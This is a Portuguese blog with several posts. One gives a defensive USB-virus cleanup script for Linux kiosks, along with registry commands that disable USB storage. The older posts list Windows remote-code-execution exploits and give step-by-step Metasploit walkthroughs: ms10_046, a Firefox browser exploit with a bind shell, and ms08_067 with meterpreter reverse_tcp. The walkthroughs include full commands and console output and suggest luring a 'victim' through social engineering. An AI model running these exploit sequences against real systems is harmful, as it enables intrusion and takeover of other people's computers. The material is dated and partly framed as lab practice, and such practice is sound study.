terça-feira, 10 de maio de 2011

PAPA VIRUS PARA WIN

Olá Pessoal!
Na empresa onde trabalho, lidamos diariamente com problemas de vírus e uma das principais fontes destes são os dispositivos de armazenamento USB, ou seja, os ditos Pendrives. A pouco tempo disparei um script na rede ( [ REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR /v Start /t REG_DWORD /D 00000004 /f ] onde o número 4 hexa no fim da linha indica que o USB está desativado e quando é 3 indica que esta ativado). Este script desativou as USBs de todos nossos quase 400 computadores da rede. Mas em casos, o pendrive é uma ferramenta muito importante e este fato criou o inconveniente de estarmos quase que diretamente disparando o script [ REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR /v Start /t REG_DWORD /D 00000003 /f ] para liberar-mos as USBs para o uso de pendrives. Foi então que econtrei a dica abaixo no site Dicas-L, onde aproveitamos notebooks antigos, com linux, utilizados como "Kiosks" em pontos estratégicos onde os usuários espetam o pendrive, o apicativo USBMOUNT monte o pendrive e já dispara um script que irá remover os virús, o autorun.inf, criar uma pasta com atribuições e com o nome de autorun.inf.


Fica a dica para que se interessar.


Até mais!




Papavírus de Pendrive
Dispositivos USB de armazenamento de massa (pendrives), amplamente utilizados nos computadores pessoais e corporativos, são frequentemente infectados por vírus executáveis em sistemas operacionais da Microsoft.

No meu contexto de trabalho, atendi a diversas solicitações de remoção de vírus por utilizar computador cujo sistema operacional é o GNU Linux, tendo em vista sua imunidade. Entretanto, com o aumento da demanda, percebi que precisava de uma solução com a qual pudesse atender meus usuários sem intervenção.

Temos disponíveis quiosques com Linux cuja finalidade é tão somente possibilitar a navegação em sites da Internet. Percebi que poderia implementar uma solução para estender a funcionalidade destes quiosques sem prejuízo à sua finalidade original.

A solução
Até onde pude observar, os vírus de pendrive se aproveitam do mecanismo de execução automática (AutoRun/AutoPlay) presente em sistemas operacionais da Microsoft. Este mecanismo utiliza um arquivo chamado autorun.inf que é lido no momento em que uma mídia removível é montada pelo sistema operacional.

Uma das informações constantes do arquivo autorun.inf é a localização absoluta do arquivo infectado dentro do pendrive.

O Papavírus identifica o arquivo infectado e o remove, bem como remove o arquivo autorun.inf. Além disto, para evitar que o pendrive seja infectado novamente, o papavírus aplica um simulacro de vacina que consiste na criação de um diretório autorun.inf que recebe os atributos oculto e somente leitura. A existência deste diretório impede que um vírus crie um arquivo com o mesmo nome, proporcionando uma espécie de imunização.

O Papavírus possui os requisitos a saber:

Computador com conector USB fêmea padrão A
Uso dedicado das portas USB para o papavírus
Sistema operacional Linux com suporte a
Sistema de arquivos VFAT
Dispositivos de armazenamento de massa USB
Xserver com Xdialog (para interação com o usuário)
Usbmount (para montagem do pendrive)
Mtools (para "imunização" do pendrive)
Implementando
O Papavírus em si consiste no script listado ao final desta seção, que deve ser chamado pelo gerenciador de dispositivos como resposta ao evento de conexão de um dispositivo USB.

Em nossa implementação, utilizamos quiosques com Debian 4.0, cujo gerenciador de dispositivos é o udev. Para fazer com que o udev chame o Papavirus, foi necessario alterar o conteúdo do arquivo /etc/udev/rules.d/z60_usbmount.rules:

# Rules for USBmount #KERNEL=="sd*", BUS=="usb", ACTION=="add", RUN+="/usr/share/usbmount/usbmount add" KERNEL=="sd*", BUS=="usb", ACTION=="add", RUN+="/usr/local/scripts/papavirus.sh" KERNEL=="ub*", BUS=="usb", ACTION=="add", RUN+="/usr/share/usbmount/usbmount add" KERNEL=="sd*", ACTION=="remove", RUN+="/usr/share/usbmount/usbmount remove" KERNEL=="ub*", ACTION=="remove", RUN+="/usr/share/usbmount/usbmount remove"
Para que o usbmount interaja com sistemas de arquivos vfat, é necessário que isto esteja previsto na variável FILESYSTEMS do arquivo/etc/usbmount/usbmount.conf.

Eis, agora, o script "Papavírus de Pendrive", que deve estar dentro de /usr/local/scripts:

#!/bin/bash # < A NAME="note" HREF="#textnote">< SUP>### # # Papavirus de Pendrive # # Autor: Fabiano Caixeta Duarte # Data: 22/07/2009 # # Remove virus de pendrive e o imuniza # # Dependencias: udev usbmount xdialog mtools # # < A NAME="note" HREF="#textnote">< SUP>### /usr/share/usbmount/usbmount add PENDRIVE=$(df |grep sdb|awk '{print $NF}') if [ -n "$PENDRIVE" ]; then /bin/su - kiosk -c 'export DISPLAY=:0.0;/usr/bin/Xdialog --title \ Papa-Virus --infobox "Aguarde enquanto procuro por virus" 7 50 5000' AUTORUN=$(find $PENDRIVE -type f -iname autorun.inf -maxdepth 1) if [ -f "$AUTORUN" ]; then OPENLINE=$(grep -i ^open $AUTORUN) VIRUS=${OPENLINE:5} VIRUS=$(find $PENDRIVE -name $(basename ${VIRUS//\\//})) chmod +w $VIRUS rm $VIRUS 2>/dev/null || (chmod +w $(dirname $VIRUS); rm $VIRUS) chmod +w $AUTORUN rm $AUTORUN sync MSG="Virus removido. Pode remover seu pendrive" else MSG="Nenhum virus foi encontrado. Pode remover seu pendrive" fi # Mesmo sem autorun.inf, o pendrive pode ter um diretorio recycler com binario infectado RECYCLER=$(find $PENDRIVE -iname recycler 2>/dev/null) && (chmod -R +w $RECYCLER; rm -R $RECYCLER) # Imunizar pen-drive mkdir $PENDRIVE/autorun.inf mcd p: mattrib +r +h autorun.inf /bin/su - kiosk -c "export DISPLAY=:0.0;/usr/bin/Xdialog --title Papa-Virus --infobox \"$MSG\" 7 60 60000" fi
Observação: o xdialog precisa ser executado pelo dono da sessão X (kiosk, no nosso contexto) em execução nos quiosques.

Conclusão
Virus para sistemas operacionais da Microsoft não deveriam, a princípio, preocupar usuários de sistemas operacionais livres. Na verdade, não preocupam. Nos preocupamos com os colegas que por uma razão ou por outra, utilizam aqueles sistemas e ficam vulneráveis a certos problemas.

Esta dica mostrou mais uma situação em que o software livre se revela uma ferramenta eficiente para solucionar problemas do dia-a-dia.

Ficarei feliz em receber sugestões de melhoria.

Fonte: Dica-L

quinta-feira, 2 de dezembro de 2010

Exploit e utilidades de alguns

-----------------------------------CesarFTP-----------------------------------

Nome: Cesar FTP 0.99g MKD Command Buffer Overflow (cesarftp_mkd)
Software afectado: Cesar FTP 0.99g
Descrição: É um exploit de transbordamento de buffer para a execução remota de código
arbitrário que afeta a versão 0.99g do servidor CesarFTP no comando MKD.
Mediante o metasploit este tipo de vulnerabilidade se pode explodir nos
sistemas
operativos windows 2000 SP4, XP SP2 e windows 2003 SP1. Actualmente não
existem remendos para esta versão do software nem se tiraram versões
mais recentes para este servidor FTP. O atacante que expluda esta
vulnerabilidade tomada todo o controle do computador da vítima.

-----------------------------------MS03-026-----------------------------------
Nome: Microsoft RPC DCOM MSO3-026
Sistemas operativos afetados: Windows NT SP3-6a/2K/XP/2K3 English ALL
Descrição:
É um tipo de vulnerabilidade de execução remota de código que utiliza o
porto TCP 135 para um transbordamento de buffer na interface RPC
(ligação a procedimento remoto) que permite o intercâmbio de
informaticon entre equipes
-Para explodir esta vulnerabilidade um atacante deve estabelecer uma conexão
TCP/IP
ao RPC Endpoint Mapper remoto e enviar uma mensagem malformado, que
provoque um transbordamento de buffer na memória, pudiendo executar
programas, ver ou apagar informação, ou criar novas contas com todos os
privilégios.

-----------------------------------MS05-039-----------------------------------

Nome: Microsoft PnP MS05-039 Overflow
Sistemas operativos afetados:
0 Windows 2000 SP0-SP4 English
1 Windows 2000 SP4 English/French/German/Dutch
2 Windows 2000 SP4 French
3 Windows 2000 SP4 Spanish
4 Windows 2000 SP0-SP4 German
5 Windows 2000 SP0-SP4 Italian
6 Windows XP SP1
Descrição:
Trata-se
de uma vulnerabilidade de execução remota de código e elevação local de
privilégios. No sistema operativo windows 2000 um atacante pode
explodir esta vulnerabilidade de forma anonima a diferença de windows
XP SP1 onde só os usuários autenticados podem explodí-la.
Que é PNP?
Plug and Play (PnP) permite ao sistema operativo detectar componentes de hardware novos quando se instalam no sistema.

-----------------------------------MS06-040-----------------------------------

Nome: Microsoft CanonicalizePathName() MSO6-040 Overflow
Sistemas operativos afetados:
0 (wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1, 2003 SP0)
1 (wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4
2 (wcscpy) Windows XP SP0/SP1
3 (stack) Windows XP SP1 English
4 (stack) Windows XP SP1 Italian
5 (wcscpy) Windows Server 2003 SP0
Descrição:
É
um tipo de vulnerabilidade de execução remota de código que utiliza os
portos TCP 139 e 445 para um transbordamento de buffer dentro do
serviço server RPC (ligação a procedimento remoto). O atacante que
expluda esta vulnerabilidade tomada todo o controle do computador da
vítima.

-----------------------------------MS06-055-----------------------------------

Nome: Internet Explorer VML Fill Method Code Execution (ie_vml_rectfill)
sistemas operativos afectados: win32, win2000, winxp e win2003
Descrição:
É um tipo de vulnerabilidade de execução remota de código na
implementação do VML (linguagem de marcado vectorial) que usa um
transbordamento de buffer no código VML (VGX.dll). Um atacante pode
aproveitar esta vulnerabilidade quando um usuário visita seu site ou
abre uma mensagem de correio electrónico. O atacante que expluda esta
vulnerabilidade tomada todo o controle do computador da vítima

-----------------------------------MS06-014-----------------------------------
Nome: Internet Explorer COM CreateObject Code Execution (ie_createobject)
sistemas operativos afectados: Windows 2000 SP2-SP4 e Windows XP SP0-SP1
Descrição:
É um tipo de vulnerabilidade de execução remota de código no controle
ActiveX RDS. Dataspace que se fornece como parte de ActiveX Data
Objects (ADO) e se distribui em MDAC. O atacante que expluda esta
vulnerabilidade tomada todo o controle do computador da vítima

-----------------------------------MS04-007-----------------------------------

Nome: Microsoft ASN.1 Library Bitstring Heap Overflow (msasn1_ms04_007_killbill)
sistema operativos afectados: Windows 2000 SP2-SP4 + Windows XP SP0-SP1
Descrição:
É um tipo de vulnerabilidade de execução remota de código na livraria
ASN.1 de Microsoft Windows que produz um transbordamento de buffer no
componente MSASN1.DLL. O atacante que expluda esta vulnerabilidade
tomada todo o controle do computador da vítima

-----------------------------------MS06-001-----------------------------------

Nome: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution (ie_xp_pfv_metafile)
sistemas operativos afetados: windows XP/2003/vista
Descrição:
É um tipo de vulnerabilidade de execução remota de código no motor de
processo de graficos devida ao modo em que trata as imagenes de
metarchivos de Windows (WMF). Um atacante pode aproveitar esta
vulnerabilidade quando um usuário visita seu site ou abre uma mensagem
de correio electronico. O atacante que expluda esta vulnerabilidade
tomada todo o controle do computador da vítima.

terça-feira, 30 de novembro de 2010

todos w$

# ./msfconsole

O primeiro comando seleciona o exploit que será usado:

> use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

Caso queiramos mais informações sobre o exploit e sua respectiva falha, podemos digitar o seguinte comando:

> info

Esse comando exibirá, além da informações sobre a falha, as opções que precisamos configurar para o correto funcionamento do exploit. As opções obrigatórias são: SRVHOST, SRVPORT

Vamos configurá-las:

> set SRVHOST 192.168.0.83

Esse último comando, permitirá configurarmos o IP no qual o servidor web falso será montado para que a vítima acesso-o. No comando abaixo, vamos configurar a porta na qual o servidor ficará escutando, à espera de uma conexão:

> set SRVPORT 80

Havendo configurado a parte básica do exploit, precisamos configurar o que ele fará após explorar a falha no navegador da vítima, isso é, o payload:

> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST 192.168.0.83
> set LPORT 4444

Tudo configurado, funcionando bem, sem nenhum erro, simplesmente lançamos o exploit e aguardamos a vítima conectar em nosso servidor falso:

> exploit

Para conseguirmos que a vítima conecte, nada como um bom e velho ataque de engenharia social :-)
Usando metasploit

# ./msfconsole

## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##


=[ msf v3.1-dev
+ -- --=[ 216 exploits - 107 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 40 aux

msf >


Para listar os exploits ,

msf > show exploits

Exploits
========

Name Description
---- -----------
bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow
hpux/lpd/cleanup_exec HP-UX LPD Command Execution
irix/lpd/tagprinter_exec Irix LPD tagprinter Command Execution
linux/games/ut2004_secure Unreal Tournament 2004 "secure" Overflow (Linux)
linux/http/peercast_url PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)
linux/ids/snortbopre Snort Back Orifice Pre-Preprocessor Remote Exploit
linux/madwifi/madwifi_giwscan_cb Madwifi SIOCGIWSCAN Buffer Overflow
linux/misc/interbase_create Borland Interbase 2007 Create Request Buffer Overflow
linux/pptp/poptop_negative_read Poptop Negative Read Overflow
linux/proxy/squid_ntlm_authenticate Squid NTLM Authenticate Overflow
linux/samba/lsa_transnames_heap Samba lsa_io_trans_names Heap Overflow
multi/browser/firefox_queryinterface Firefox location.QueryInterface() Code Execution
multi/browser/mozilla_compareto Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution
multi/browser/mozilla_navigatorjava Mozilla Suite/Firefox Navigator Object Code Execution




Coletando infos do exploit a ser usado

msf > info multi/browser/mozilla_navigatorjava

Name: Mozilla Suite/Firefox Navigator Object Code Execution
Version: 4646
Platform:
Privileged: No
License: Metasploit Framework License

Provided by:
hdm

Available targets:
Id Name
-- ----
0 Firefox 1.5.0.4 Windows x86
1 Firefox 1.5.0.4 Linux x86
2 Firefox 1.5.0.4 Mac OS X PPC
3 Firefox 1.5.0.4 Mac OS X x86

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 512
Avoid: 0 characters

Description:
This module exploits a code execution vulnerability in the Mozilla
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This
exploit requires the Java plugin to be installed.

References:
http://www.securityfocus.com/bid/19192
http://www.osvdb.org/27559
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3677
http://www.mozilla.org/security/announce/mfsa2006-45.html
http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html

msf >


selecionando o Exploit

msf > use multi/browser/mozilla_navigatorjava
msf exploit(mozilla_navigatorjava) >

No info foi informado que temos varios target (alvos), selecionarei o 1

msf exploit(mozilla_navigatorjava) > set TARGET 1
TARGET => 1
msf exploit(mozilla_navigatorjava) >


No caso como vimos no info acima, voce pode ou nao setar o SRVHOST,SRVPORT e URIPATH. Como exemplo usarei o URIPATH

msf exploit(mozilla_navigatorjava) > set URIPATH spooker
URIPATH => spooker
msf exploit(mozilla_navigatorjava) > set

Global
======

No entries in data store.

Module: multi/browser/mozilla_navigatorjava
===========================================

Name Value
---- -----
HTML::base64 none
HTML::javascript::escape 0
HTML::unicode none
HTTP::chunked false
HTTP::compression none
HTTP::header_folding false
HTTP::junk_headers false
SRVHOST 0.0.0.0
SRVPORT 8080
TCP::max_send_size 0
TCP::send_delay 0
URIPATH spooker

msf exploit(mozilla_navigatorjava) >

Agora temos que selecionar o PAYLOAD, vamos listar para ver algo que nos interesse.

msf exploit(mozilla_navigatorjava) > show payloads

Compatible payloads
===================

Name Description
---- -----------
generic/shell_bind_tcp Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp Generic Command Shell, Reverse TCP Inline

msf exploit(mozilla_navigatorjava) >


Basta agora setar o payload e depois executar.

msf exploit(mozilla_navigatorjava) > set PAYLOAD generic/shell_bind_tcp
PAYLOAD => generic/shell_bind_tcp
msf exploit(mozilla_navigatorjava) > exploit
[*] Using URL: http://0.0.0.0:8080/spooker
[*] Local IP: http://192.168.5.139:8080/spooker
[*] Server started.
[*] Exploit running as background job.
msf exploit(mozilla_navigatorjava) >


Basta no caso para o link para o alvo que queira a shell. Lembrando que isso nao deve ser usado sem permissoes, use o de forma educativa. Caso queiram tambem podem mesclar com as falhas de grandes search como yahoo, google, e apontar pra sua maquina (Olhem o post sobre Phishing for pentests ) .

Quando alguem conectar aparecera

msf exploit(mozilla_navigatorjava) >
[*] Sending exploit to 192.168.5.138:60864...
[*] Started bind handler


Site: http://www.metasploit.org/

[]z e usem com cuidado.

quarta-feira, 28 de abril de 2010

Acessando o winsp3 com metasploit

Aqui vai um artigo falando sobre o framework Metasploit. Irei demonstrar algumas técnicas simples/básicas de scanning e fingerprint usando o Metasploit e em seguida exploraremos uma máquina MS para obtermos uma shell. Let`s go to the paty???


Começando!
Bom galera, vamos começar!

Para que você possa ter uma boa noção de como o Metasploit realmente funciona, nada melhor que conseguir obter o acesso a uma máquina (virtual) e assim poder testar e estudar todas suas funcionalidades, ficando cada dia mais "afiado" em seus testes de intrusão. Sim, este artigo é bem básico.

O cenário utilizado foi o seguinte:



Neste caso são 2 máquinas virtuais (VMs) criadas usando o Virtualbox. As placas de rede de ambas VMs estão configuradas como bridge.

* 1ª VM = Sistema Operacional Backtrack 4 Final com endereço IP 192.168.0.170.
* 2ª VM = Sistema Operacional Windows XP SP2 com endereço IP 192.168.0.186.


Quer saber mais sobre Virtualbox? Digite "virtualbox" no campo de pesquisa google que encontrará ótimos artigos/dicas sobre o mesmo.

[b]Scanning com Nmap e Metasploit
Ok pessoal, vamos utilizar a ferramenta "nmap" para fazer o scanning em nossa rede interna.

Abra um terminal no micro com o Backtrack e digite o seguinte comando:

# nmap -v --script=smb-check-vulns 192.168.0.0/24

* -v = Modo Verbose
* --script=smb-check-vulns = Script para verificar vulnerabilidades conhecidas, como por exemplo, MS08-067, Conficker, regsvc DoS e SMBv2 exploit.
* 192.168.0.0/24 = Range de IP utilizado em minha rede local.



Se repararem, no host com endereço IP 192.168.0.186, verá que são mostradas as portas que estão abertas, e em MS08-067 está como VULNERABLE, tendo essa "simples" base, vamos atacá-lo.

Certo, descobrimos um host dentro da nossa [i]LAN que está possivelmente vulnerável ao nosso ataque pretendido! Agora vamos carregar o Metasploit. No terminal, basta digitar msfconsole e...



Obtemos nosso console do msf.

Feito isto, vamos efetuar a intrusão na máquina. Os comandos são os seguintes:

use exploit/windows/smb/ms08_067_netapi #Aqui falamos que queremos usar o exploit ms08_067_netapi
set RHOST 192.168.0.186 #Aqui setamos o nosso host remoto, que no caso é o endereço IP da VM com Windows XP SP2
set PAYLOAD windows/meterpreter/reverse_tcp #Aqui especificamos o payload que iremos utilizar, reverse_tcp, ele é o responsável por criar a nossa comunicação entre LHOST e RHOST.
set LHOST 192.168.0.170 #Aqui setamos nosso host local, que no caso é o endereço IP da VM com Backtrack 4.
exploit #E finalmente executamos nosso exploit.


Pronto! Ganhamos nossa shell meterpreter, ou seja, já estamos na máquina alvo. Experimente dar os comandos sysinfo e ipconfig.



Ok! Vamos ver outros recursos que podemos utilizar antes de executarmos o exploit.

Opções Metasploit
Quando executamos o comando exploit, será realizado um "fingerprint" para a detecção do sistema operacional e verificar se o mesmo consta em sua lista de SOs vulneráveis.

Como vimos através do script do nmap que nosso alvo é vulnerável, nós podemos realizar o processo de fingerprint e passar as especificações corretas para o msf, assim nosso exploit não precisará realizar esta etapa, gerando possibilidades menores de erros.

Certo, mas como? Vamos utilizar um módulo auxiliar presente no Metasploit para descobrir a versão do SO, o idioma, nome da máquina e o domínio.

Executaremos os seguintes comandos no console do msf:

use auxiliary/scanner/smb/smb_version #Falamos que queremos utilizar o scanner smb_version.
set RHOSTS 192.168.0.186 #Aqui eu setei um único host (192.168.0.186), mas poderia especificar um range, exemplo, 192.168.0.0/24.
run #Comando para executar nosso scanner.



Agora já sabemos a versão certa do SO e o idioma, com isso especificaremos em nosso exploit usando a opção set TARGET.

use exploit/windows/smb/ms08_067_netapi #Aqui falamos que queremos usar o exploit ms08_067_netapi
set RHOST 192.168.0.186 #Aqui setamos o nosso host remoto, que no caso é o endereço IP da VM com Windows XP SP2
set PAYLOAD windows/meterpreter/reverse_tcp #Aqui especificamos o payload que iremos utilizar, reverse_tcp, ele é o responsável por criar a nossa comunicação entre LHOST e RHOST.
set LHOST 192.168.0.170 #Aqui setamos nosso host local, que no caso é o endereço IP da VM com Backtrack 4.
set TARGET 31 #Aqui eu digo que o alvo usa
exploit #E finalmente executamos nosso exploit.


Veja o ataque agora.



Veja que não foi realizada a etapa de fingerprint com o alvo, pois "falamos" para o exploit o S.O. que ele encontrará em seu destino.

Ok! Finish! The end! Heheheh

Ah!

É isso galera, intrusão simples, sendo recomendado para quem ainda está começando com o Metasploit.